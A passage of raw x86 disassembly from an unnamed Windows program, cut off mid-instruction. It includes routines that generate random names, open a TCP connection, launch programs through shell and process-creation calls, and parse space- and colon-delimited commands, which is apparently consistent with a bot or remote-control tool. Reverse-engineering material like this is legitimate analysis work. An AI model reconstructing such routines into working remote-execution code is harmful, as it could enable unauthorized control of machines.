[esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E5C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BD74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F30 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E78 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E74 mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E70 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E6C mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E68 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E64 mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E60 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi call near ptr 71AB9639h nop mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27F04D5h test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27B0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB4C push offset dword_50DB4C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 27B0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call 